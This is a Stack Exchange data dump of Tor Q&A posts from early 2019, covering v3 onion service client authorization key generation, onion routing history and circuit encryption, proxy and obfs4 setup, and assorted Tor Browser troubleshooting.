  <row Id="19221" PostTypeId="1" CreationDate="2019-01-08T19:32:26.273" Score="1" ViewCount="9446" Body="&lt;p&gt;The Tor 0.3.5 series includes client authorization for v3 onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor manual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To configure client authorization on the service side, the &quot;/authorized_clients/&quot; directory needs to exist. Each file in that directory should be suffixed with &quot;.auth&quot; (i.e. &quot;alice.auth&quot;; the file name is irrelevant) and its content format MUST be:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;auth-type&amp;gt;:&amp;lt;key-type&amp;gt;:&amp;lt;base32-encoded-public-key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The supported  are: &quot;descriptor&quot;. The supported  are: &quot;x25519&quot;. The  is the base32 representation of the raw key bytes only (32 bytes for x25519).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I generate the &quot;.auth&quot; file? &lt;/p&gt;&#xA;" OwnerUserId="24952" LastActivityDate="2020-09-16T16:12:33.433" Title="How to setup Client Authorization for v3 Onion Services" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19223" PostTypeId="2" ParentId="19221" CreationDate="2019-01-09T09:56:21.067" Score="2" Body="&lt;p&gt;Openssl 1.1.0 or newer that supports x25519 is required.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;openssl genpkey -algorithm x25519 -out key.private.pem&#xA;&#xA;cat key.private.pem | grep -v &amp;quot; PRIVATE KEY&amp;quot; | base64pem -d | tail --bytes=32 | base32 | sed 's/=//g' &amp;gt; private.key&#xA;&#xA;openssl pkey -in key.private.pem -pubout | grep -v &amp;quot; PUBLIC KEY&amp;quot; | base64pem -d | tail --bytes=32 | base32 | sed 's/=//g' &amp;gt; public.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the HS side, create .auth with content&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;descriptor:x25519:&amp;lt;public.key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the client side, create .auth_private with content&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;56-char-onion-addr-without-.onion-part&amp;gt;:descriptor:x25519:&amp;lt;private.key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24958" LastEditorUserId="30504" LastEditDate="2020-08-18T18:45:35.937" LastActivityDate="2020-08-18T18:45:35.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19226" PostTypeId="1" CreationDate="2019-01-09T15:33:44.217" Score="1" ViewCount="49" Body="&lt;h2&gt;&lt;em&gt;[Note: I'm no native english speaker]&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;1981 David Chaum first introduced Mix-Networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1995 Tor began its life as a research project in the Naval Research Laboratory (NRL), where 1996 three researchers at the NRL published the seminal paper 'Hiding Routing Information' (D. Goldschlag, M. Reed, P. Syverson) and coined the term 'onion routing' which introduced the layer encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As seen in &lt;a href=&quot;https://www.onion-router.net/Publications/IH-1996.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;'2. Backgrounds'&lt;/a&gt; of their work, its based on the Mix-Network of D. Chaum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering if Mix-Networks picked that feature up known as Mix-Kaskading since I can read about this on their wiki: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Mix_network&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki: Mix network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Each message is encrypted to each proxy using public key cryptography; the resulting encryption is layered like a Russian doll (except that each &quot;doll&quot; is of the same size) with the message as the innermost layer. Each proxy server strips off its own layer of encryption to reveal where to send the message next. If all but one of the proxy servers are compromised by the tracer, untraceability can still be achieved against some weaker adversaries.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because otherwise Mix-Networks would have had 'onion-routing' before the Tor-Network and I don't understand how they coined the term 'onion routing' with their work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry if I am misunderstanding something here, but currently im reasearching the Tor Network and was interested in his history.&lt;/p&gt;&#xA;" OwnerUserId="24960" LastActivityDate="2019-01-09T15:33:44.217" Title="Is Mix-Kaskading based on the Onion-Routing?" Tags="|onion-routing|encryption|mix|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19229" PostTypeId="2" ParentId="1782" CreationDate="2019-01-10T10:46:32.873" Score="1" Body="&lt;p&gt;I wonder why they force using installer as well, it's frustrating. And installer is not 7z SFX anymore. So the only option is to install the app from distr and pack it yourself. I also found &lt;a href=&quot;https://gareth.flowers/tor-browser-portable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;repo with portable bundle&lt;/a&gt; but IDK how trustworthy it is.&lt;/p&gt;&#xA;" OwnerUserId="24969" LastActivityDate="2019-01-10T10:46:32.873" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19230" PostTypeId="1" CreationDate="2019-01-10T13:37:38.877" Score="0" ViewCount="476" Body="&lt;p&gt;I heard that &lt;em&gt;Microsoft Windows&lt;/em&gt; and &lt;em&gt;Mac OS&lt;/em&gt; were not safe, and that unix-like based OS like Ubuntu or Debian were better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it true? If yes, why the 2 first are not recommendable ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the safest (and easiest) linux OS to use in order to be safe and untraceable with Tor ?&lt;/p&gt;&#xA;" OwnerUserId="24972" LastActivityDate="2019-01-11T08:07:42.963" Title="What is the safest OS to use Tor while being untraceable" Tags="|windows|mac|linux|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19231" PostTypeId="1" CreationDate="2019-01-08T16:14:32.453" Score="1" ViewCount="428" Body="&lt;p&gt;I've generated private key and hostname to my onion domain using &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;scallion&lt;/a&gt;, and I have tried to copy and paste it into the hidden service directory, to the &quot;hostname&quot; and &quot;privatekey&quot; files, but wheb I tried to start tor it showed me an error. scallion generated for me 13 keys and domains, but none of them worked. I copied the hostname and got down a line, and I entered the private key including &quot;----BEGIN RSA PRIVATE KEY----&quot; and the same but to the end &quot;end rsa...&quot;, but it didn't work. Does anybody ever tried host hidden service on windows and change hostname? what am &#xA;I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(tor configure to the right folder directory)&lt;/p&gt;&#xA;" OwnerUserId="25038" OwnerDisplayName="A.naam" LastActivityDate="2019-04-05T19:01:15.437" Title="Can't change hostname and key for Tor hidden service" Tags="|onion-routing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19233" PostTypeId="1" CreationDate="2019-01-11T07:48:54.520" Score="1" ViewCount="263" Body="&lt;p&gt;How to get a separate Tor Browser (Alpha) from the latest release. Since the developers decided to merge the Orbot and Tor Browser aka OrFox together, now it's impossible to separate the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get only TorBrowser Alpha APK from this combined package?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why developers decided to merge the two is beyond my scope of understanding!&lt;/p&gt;&#xA;" OwnerUserId="24979" LastActivityDate="2019-01-11T07:48:54.520" Title="Tor Browser (Alpha) - Android - Separate APK Required" Tags="|orbot|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19234" PostTypeId="2" ParentId="19230" CreationDate="2019-01-11T08:07:42.963" Score="1" Body="&lt;p&gt;Windows and Mac are closed sourced and therefore code is not open to public review and that takes away the user trust. They are not designed with privacy in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should rather look at alternatives such as running a &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; or &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; based system.&lt;/p&gt;&#xA;" OwnerUserId="24979" LastActivityDate="2019-01-11T08:07:42.963" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19236" PostTypeId="2" ParentId="19207" CreationDate="2019-01-11T11:00:27.760" Score="0" Body="&lt;p&gt;I found the answer and it's like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a&lt;code&gt;torrc&lt;/code&gt; file just where you have &lt;code&gt;tor.exe&lt;/code&gt; file of the Tor Expert Bundle&lt;/li&gt;&#xA;&lt;li&gt;Open the &lt;code&gt;torrc&lt;/code&gt; using a any text editor&lt;/li&gt;&#xA;&lt;li&gt;Add the following lines to it:&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPSProxy YOUR_PROXY_IP_OR_ADDRESS&#xA;HTTPSProxyAuthenticator YOUR_USERNAME:YOUR_PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;open &lt;code&gt;tor.exe&lt;/code&gt; using command line in the same folder with this command &lt;code&gt;tor.exe -f torcc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17880" LastEditorUserId="5234" LastEditDate="2019-02-10T20:00:11.763" LastActivityDate="2019-02-10T20:00:11.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19237" PostTypeId="1" CreationDate="2019-01-11T11:01:24.803" Score="1" ViewCount="182" Body="&lt;p&gt;I'm writing a client in Python and trying to download the consensus.&#xA;I managed to establish a single-hop connection to an authority server, send the HTTP request, and receive almost all the consensus bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I periodically send SENDME cells for telling the remote server that I want to receive more data cells and I guess I correctly maintain the 2 window counters. However, I don't receive the very last data cells from the authority.&#xA;For these ones, I have to send a last SENDME cell without following the window thresholds specified in the spec. In other words, I send a SEND_ME cell when circ_window &amp;lt; 900 or stream_window &amp;lt;= 450 . However, I noticed that the last data cells require me to send a last SENDME cell without respecting these thresholds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a problem because I have to guess that I'm waiting for the last data cells by setting a timeout in my program then send a final SENDME cell, which is not efficient at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an efficient way to force the remote node sending all the data I requested without trying to guess there is not much data left ?&lt;/p&gt;&#xA;" OwnerUserId="24981" LastActivityDate="2019-01-11T11:01:24.803" Title="SENDME cells, window threshold and last data cells" Tags="|protocol|development|implementations|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19243" PostTypeId="1" CreationDate="2019-01-13T05:34:58.700" Score="0" ViewCount="108" Body="&lt;p&gt;I would like you to anwser this question with a fastforwarded quickguide to full instalation including your suggestion for your preffered security methods to stay anonmymous and avoid viruses. There is alot of tricksters out there and i want the info from the legit source.&lt;/p&gt;&#xA;" OwnerUserId="24994" LastEditorUserId="667" LastEditDate="2019-01-13T10:41:37.093" LastActivityDate="2019-02-22T12:02:50.633" Title="Installing everything from legit source anonymously" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2019-02-25T20:06:00.500" ContentLicense="CC BY-SA 4.0" />
  <row Id="19244" PostTypeId="1" CreationDate="2019-01-14T19:53:34.990" Score="1" ViewCount="214" Body="&lt;p&gt;I'm running a legacy machine with an AMD Athlon XP 3200+ processor and Release 9 (stretch) 32-bit Debian Linux. Tor has always worked well but starting with the first release of Tor Browser 8.0 I am unable to do updates. The error message I get when I run Tor Setup is: &quot;Tor Browser requires a CPU with SSE2 support.  Exiting.&quot; I had to go back to version 7.5.6. Is there any hope that new releases will solve this or am I forever stuck with 7.5.6 until I can buy a new computer?&lt;/p&gt;&#xA;" OwnerUserId="25000" LastActivityDate="2019-01-14T19:53:34.990" Title="Using legacy hardware and can't update" Tags="|support|platform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19247" PostTypeId="1" CreationDate="2019-01-16T12:54:15.323" Score="0" ViewCount="503" Body="&lt;p&gt;I'm facing the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated Tor to version &lt;em&gt;3.5.7&lt;/em&gt;.&lt;br&gt;&#xA;Now, when I start Pidgin client (which has Tor proxy settings: localhost:9050), tor quits with this two warnings:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jan 16 12:18:44.000 [warn] socks5: parsing failed - invalid user/pass authentication message.&lt;/li&gt;&#xA;&lt;li&gt;Jan 16 12:18:44.000 [warn] socks5: parsing failed - invalid user/pass authentication message.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What could be the matter?&lt;/p&gt;&#xA;" OwnerUserId="25012" LastActivityDate="2019-01-16T13:01:07.517" Title="socks5: parsing failed" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19248" PostTypeId="2" ParentId="19247" CreationDate="2019-01-16T13:01:07.517" Score="2" Body="&lt;p&gt;Just received an answer at #tor IRC channel.&lt;br&gt;&#xA;&lt;strong&gt;You'd need to enter something to username and password fields in proxy settings.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that would help some of you too!&lt;/p&gt;&#xA;" OwnerUserId="25012" LastActivityDate="2019-01-16T13:01:07.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19250" PostTypeId="1" CreationDate="2019-01-16T17:55:19.760" Score="1" ViewCount="837" Body="&lt;p&gt;using: apt-get update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results:&#xA;Failed to fetch &lt;a href=&quot;http://deb.torproject.org/torproject.org/dists/trusty/main/binary-i386/Packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://deb.torproject.org/torproject.org/dists/trusty/main/binary-i386/Packages&lt;/a&gt;  404  Not Found [IP: 138.201.14.197 80]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distributor ID: Ubuntu&#xA;Description:    Ubuntu 14.04.5 LTS&#xA;Release:        14.04&#xA;Codename:       trusty&#xA;Arch:           Intel/i386&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Date:           Jan 16, 2019&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~$ tor --version&#xA;Tor version 0.3.4.9 (git-074ca2e0054fded1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the binary path (and files) has been deleted from repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: is this a repository network/server problem or is this a quiet way to stop supporting for i386 ?&lt;/p&gt;&#xA;" OwnerUserId="25014" LastEditorUserId="25014" LastEditDate="2019-02-05T21:56:30.150" LastActivityDate="2019-03-07T22:01:35.310" Title="Failed to fetch Trusty binary-i386/Packages 404 Not Found [IP: 138.201.14.197 80]" Tags="|ubuntu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19251" PostTypeId="1" CreationDate="2019-01-16T18:36:45.783" Score="1" ViewCount="623" Body="&lt;p&gt;If you connect to a website using https with a some information in the URL, can an exit node see the URL being connected to?&lt;/p&gt;&#xA;" OwnerUserId="12200" LastActivityDate="2019-02-04T00:25:10.693" Title="Do tor exit nodes see the URL you're connecting to?" Tags="|exit-relays|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19252" PostTypeId="2" ParentId="19251" CreationDate="2019-01-16T19:05:56.400" Score="2" Body="&lt;p&gt;The Tor-Network works trough &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Routing&lt;/a&gt; which encrypts your Message with your Target Address, so no one can read the original message on the way to the Exit Relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since the Exit Relay is the last node before sending it to the target, it needs to know the target address with the original message. The Exit-Relay works as a &quot;Man-in-the-Middle&quot; forwarding the message to your target, but the clue is that the Exit-Relay doesn't know the Client which sent the orignial message and is just able to send the answere of the Web-Server back to the last Relay it got the message from, encrypted with a temporarily Session Key established with the Client trough the Tor-Circuit.&lt;/p&gt;&#xA;" OwnerUserId="24960" LastEditorUserId="24960" LastEditDate="2019-01-16T19:16:26.160" LastActivityDate="2019-01-16T19:16:26.160" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19253" PostTypeId="1" CreationDate="2019-01-17T00:08:56.657" Score="0" ViewCount="447" Body="&lt;p&gt;I recently losty computer and am unable to check email with from onion network. I found tor tor which enables me to browse the dark web however  I am unable to send and receive messages. I found ones that claim to work in Android however they do not access onion servers or require JavaScript enaed.  Is there a way send and receive email through tor on my Samsung galaxy at 2017?&lt;/p&gt;&#xA;" OwnerUserId="25015" LastActivityDate="2022-03-02T18:04:00.393" Title="Sending Email through tor for android" Tags="|configuration|android|email|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19254" PostTypeId="1" CreationDate="2019-01-17T04:11:55.637" Score="0" ViewCount="469" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xgTsY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im not sure what this means exactly.  I have an idea and have asked around but I'd like to get more input &lt;/p&gt;&#xA;" OwnerUserId="25019" LastEditorUserId="88" LastEditDate="2019-02-26T19:51:46.463" LastActivityDate="2019-11-23T21:02:05.413" Title="can anyone help explain the orbot log" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19255" PostTypeId="1" CreationDate="2019-01-17T04:19:24.923" Score="0" ViewCount="1370" Body="&lt;p&gt;I believe outproxy to Tor network is safer than outproxy to normal Internet.&lt;br&gt;&#xA;So, is more I2P outproxy available for Tor than &lt;code&gt;false.i2p&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="25018" LastEditorUserId="25018" LastEditDate="2019-01-20T12:00:11.263" LastActivityDate="2022-03-10T17:09:05.883" Title="Is some i2p outproxies for tor only?" Tags="|tor-browser-bundle|proxy|i2p|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19256" PostTypeId="1" CreationDate="2019-01-17T18:22:18.293" Score="0" ViewCount="1669" Body="&lt;p&gt;I have a hard time understanding how a message is transmitted, when the Public Keys are used and when the Session Keys.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor Client connects to a directory server to get a list of active relays &amp;amp; exit relays with their policies (address, public key). I verify these list.&lt;/li&gt;&#xA;&lt;li&gt;Tor Client automatically chooses three relays with a compatible exit policy&lt;/li&gt;&#xA;&lt;li&gt;I start building my Tor-Circuit One-Hop at a time.&lt;/li&gt;&#xA;&lt;li&gt;I send a &lt;em&gt;Create Cell&lt;/em&gt; to the Relay 1 &lt;strong&gt;(Is this encrypted with 1 Layer through the Public Key of Relay 1?)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The First Hop and the Tor Client establish a temporarily Session Key through the Diffi-Hellmann-Key-Exchange&lt;/li&gt;&#xA;&lt;li&gt;The Tor Client requests Relay 1 to extend his Tor-Circuit with another Hop to Relay 2 &lt;strong&gt;(Is this encrypted with 2 Layers through the Public Key of Relay 1, Relay 2?)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;A second Session Key is established between the Tor Client and Relay 2, trough the Tor-Circuit. &lt;strong&gt;(Also encrypted in 2 Layers?)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The Tor Client requests Relay 2 to extend the Tor-Circuit with another Hop to Relay 3 &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this step isn't encrypted with 2 Layers (with the PK of Relay 1 &amp;amp; Relay 2), Relay 1 would know the address of Relay 3, or does it encrypt the &lt;em&gt;Create Cell(R3)&lt;/em&gt; with the temporarily Session Keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it uses the Session Keys to encrypt why would we need the Public Keys, to identify the Relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the Session Key is only used for the response and the Public Keys for the Request, or do I understand something completly wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my current view the Request has three layers of Encryption with the Public Keys, on each layer it reveals the next target to forward the message. &lt;strong&gt;(but the relay already knows the next target, since it had to establish a tor-circuit)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The request is encrypted at each relay with the temporarily Session Key, the Client then can decrypt all three layers since it established these Key with the respective relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no nativ english speaker, so I hope its understandable.&lt;/p&gt;&#xA;" OwnerUserId="24960" LastActivityDate="2019-02-24T07:38:10.760" Title="Differences between Onion Routing (Public Key) and Tor-Circuit (Session Key)" Tags="|onion-routing|circuit|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19257" PostTypeId="1" CreationDate="2019-01-17T19:26:54.003" Score="0" ViewCount="148" Body="&lt;p&gt;The onion from the high left corner are disappeared. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="25027" LastActivityDate="2019-01-18T14:04:06.003" Title="The onion disappeared! How can I get it back?" Tags="|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19259" PostTypeId="2" ParentId="19197" CreationDate="2019-01-18T13:54:22.033" Score="2" Body="&lt;p&gt;you should search about cold boot attack: hibernation to the usb is better than suspend because you will carry the data with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if someone steal your laptop will have all the time he want to prepare the attack.&lt;/p&gt;&#xA;" OwnerUserId="25036" LastActivityDate="2019-01-18T13:54:22.033" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19260" PostTypeId="2" ParentId="19257" CreationDate="2019-01-18T14:04:06.003" Score="1" Body="&lt;p&gt;open config, then click on customize, and drag the onion to the bar.&lt;/p&gt;&#xA;" OwnerUserId="25036" LastActivityDate="2019-01-18T14:04:06.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19266" PostTypeId="2" ParentId="18089" CreationDate="2019-01-19T06:01:55.090" Score="0" Body="&lt;p&gt;that is anonymity feature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a semi random exit node is chosen for each domain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checkip.dyndns.org check.torproject.org whatismyipaddress.com different domains&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the exit node changes every so often&lt;/p&gt;&#xA;" OwnerUserId="21057" LastActivityDate="2019-01-19T06:01:55.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19269" PostTypeId="2" ParentId="15880" CreationDate="2019-01-19T19:45:10.667" Score="1" Body="&lt;p&gt;This is due to an outdated key.  &lt;a href=&quot;https://askubuntu.com/a/912336/913773&quot;&gt;This&lt;/a&gt; solution fixed the issue for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --homedir &quot;$HOME/.local/share/torbrowser/gnupg_homedir/&quot; --refresh-keys --keyserver pgp.mit.edu&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25056" LastActivityDate="2019-01-19T19:45:10.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19270" PostTypeId="2" ParentId="14165" CreationDate="2019-01-20T00:32:15.703" Score="0" Body="&lt;p&gt;Tor exit nodes are often detected by web services, so if you insist on using Tor for this, you'll have to try (New Identity button at top right corner) lots of exit nodes until you find one not in their lists.&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2019-01-20T00:32:15.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19271" PostTypeId="2" ParentId="9869" CreationDate="2019-01-20T00:54:17.783" Score="1" Body="&lt;p&gt;Orfox will be sunsetted by early 2019 when the stable Tor Browser for Android comes out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://guardianproject.info/apps/orfox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://guardianproject.info/apps/orfox/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2019-01-20T00:54:17.783" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19274" PostTypeId="2" ParentId="16913" CreationDate="2019-01-20T12:15:51.467" Score="0" Body="&lt;p&gt;if you are using Ubuntu,&#xA;use the following commands as tor checks for the codecs supported by your system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update&#xA;sudo apt install libdvdnav4 libdvdread4 gstreamer1.0-plugins-bad gstreamer1.0-plugins-ugly libdvd-pkg&#xA;sudo apt install ubuntu-restricted-extras&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25060" LastEditorUserId="5234" LastEditDate="2019-02-10T18:56:04.753" LastActivityDate="2019-02-10T18:56:04.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19275" PostTypeId="2" ParentId="8771" CreationDate="2019-01-20T12:37:59.357" Score="1" Body="&lt;p&gt;obfs4proxy gets most of its settings via environment variables (and couple of them via socks5 authentication fields in client mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is too much going on to post here but to get a better understanding, you might take a look at my &lt;a href=&quot;https://hamy.io/post/000d/how-to-hide-obfuscate-any-traffic-using-obfs4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt; on this subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also developed a Bash script to make obfs4proxy work with openvpn in Linux which is available here: &lt;a href=&quot;https://github.com/HRomie/obfs4proxy-openvpn&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4proxy-openvpn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24827" LastActivityDate="2019-01-20T12:37:59.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19276" PostTypeId="2" ParentId="17115" CreationDate="2019-01-20T16:18:32.187" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/Yawning/obfs4/blob/master/doc/obfs4-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4-spec&lt;/a&gt; does a pretty decent job explaining how it actually works. The idea is to make your traffic &lt;strong&gt;look like nothing in particular&lt;/strong&gt;. I strongly advise you to read the spec (specially the &lt;em&gt;Threat Model&lt;/em&gt; section).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now about your question, it really depends on whether you are targeted by the government or not. Yes, one could argue that making a completely uncategorized traffic (from the DPI point of view), &lt;em&gt;could&lt;/em&gt; be considered suspicious (but in that sense, so are any other non-plaintext traffic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's my two cents: If you have reasons do believe that your life might be in danger because of it, I would just not use it.&lt;/p&gt;&#xA;" OwnerUserId="24827" LastActivityDate="2019-01-20T16:18:32.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19278" PostTypeId="2" ParentId="19255" CreationDate="2019-01-21T05:11:36.850" Score="0" Body="&lt;p&gt;The default port &lt;code&gt;4444&lt;/code&gt; has the outproxy &quot;false.i2p&quot; but I check &lt;a href=&quot;http://127.0.0.1:7657/i2ptunnelmgr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://127.0.0.1:7657/i2ptunnelmgr&lt;/a&gt; then I find out The default port &lt;code&gt;4445&lt;/code&gt; has the outproxy &quot;outproxy-&lt;strong&gt;tor&lt;/strong&gt;.meeh.i2p&quot;.&lt;br&gt;&#xA;&lt;s&gt;When I  try to use &lt;code&gt;127.0.0.1:4445&lt;/code&gt; as the proxy for Tor-Browser, I get a lot better experience than use &lt;code&gt;127.0.0.1:4444&lt;/code&gt;&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="25018" LastEditorUserId="25018" LastEditDate="2019-01-25T11:07:38.020" LastActivityDate="2019-01-25T11:07:38.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19280" PostTypeId="1" CreationDate="2019-01-21T09:09:23.513" Score="0" ViewCount="134" Body="&lt;p&gt;Privacy Possum is a plugin for the Firefox Browser is it equal to the Tor Browser for anonymity?&lt;/p&gt;&#xA;" OwnerUserId="25066" LastActivityDate="2019-02-20T14:01:50.437" Title="Will Privacy Possum in Firefox equal the Tor Browser for anonymity?" Tags="|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
